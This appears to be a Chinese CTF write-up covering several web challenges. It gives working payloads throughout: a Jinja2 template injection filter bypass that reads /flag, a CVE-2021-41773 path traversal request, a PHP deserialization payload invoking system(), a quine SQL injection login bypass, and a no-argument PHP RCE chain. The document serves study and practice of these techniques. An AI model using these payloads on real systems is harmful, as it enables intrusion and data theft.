题目提示是jinja2模板
怎么感觉之前做过,看到了注入
随便进行一下注入,发现了过滤
大致的黑名单
' " _ args -- 无法使用 request.args os -- 无法导入os 不允许post -- 无法使用 request.value
正常用的payload
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
因为过滤了东西,所以就可以用request.cooike来进行注入
get:
?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}
cookie:
c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag
得到flag
源码
看到标签提示说是有CVE-2021-41773漏洞
上网查一下:
【精选】Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )-CSDN博客
根据漏洞存在条件进行注入(之前做过这个漏洞,目录穿越)
不知道为什么我的bp没有显示
当前目录是/var/www/html/
,那么上层目录就是/var/www/
。源码提示说:源码藏在上层目录xxx.php.txt里面,猜测xxx应该包括了index。
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1
得到了源码:
Welcome To GFCTF 12th!!
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);?>
暗示我们还有一个class.php文件
尝试访问:
得到源码
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
开始代码审计:
index.php.txt
1、实例化了一个Temp类对象,并且向构造方法传参,参数是所有POST提交的变量。
2、调用了Temp类中display方法并且传参,参数是GET方式提交的filename变量。
[GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)_Jay 17的博客-CSDN博客
主页是空的,源代码也没有,扫一下
扫了但是等于没扫
抓一下包发现有东西 好像base64编码,看看
解码发现是序列化
改了一下对象属性个数发现没有用
把0改成1看看 (相当于改了b属性的属性值)
发现出现了源码
重新抓包放包
class A {
public $className="B";
public $funcName="system";
public $args="ls";
}
class B {
}
$a = new A();
echo base64_encode(strrev(serialize($a)));
?>
php strrev函数的使用方法_php笔记_设计学院
payload用post传参
payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw==
得到flag env是环境变量 ls 没显示出来flag,找了好多,最后在env里找到了
尝试登录admin/123456,发现不行
话不多说,直接开扫,就扫到一个robot.txt
访问:
一个正则函数,看标签知道是一个quine注入
诶,还真有,分析一下,这应该是他的waf源码
没有其他回显,并且把大部分东西都过滤掉了
我们看到sleep,有意无意都会想到时间盲注,那这里他把sleep过滤了,怎么办呢
payload
username:admin
password:
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
得到flag
访问robots.txt得到
无参数RCE总结_get_defined_vars-CSDN博客
highlight_file() show_source() 都被禁了 利用 echo(readfile())来读取
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
pos() – 返回数组中的当前单元, 默认取第一个值
next – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录
array_reverse() – 翻转数组
array_flip() - 键名与数组值对调
readfile()
array_rand() - 随机读取键名
var_dump() - 输出数组,可以用print_r替代
file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
get_defined_vars() - 返回由所有已定义变量所组成的数组
end() - 读取数组最后一个元素
current() - 读取数组的第一个元素
#php内置函数正则表达式:
/[^\W]+\((?R)?\)/
\W代表匹配非字符
[^abc]代表匹配非abc以外的元素
R代表当前正则匹配后的结果
?惰性匹配,匹配零次或一次
\转义字符也就是说,题目要求payload格式为()的嵌套,因为他会递归匹配,判断[...]()替换为空后的结果是否等于;
payload:?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));
做到现在,发现rce都是大同小异,无数字字母就用取反异或,自增,无参数就用这几个函数来写payload,难一点的反序列化构造pop链也是函数利用,看哪个魔术方法利用哪个魔术方法,到底还是函数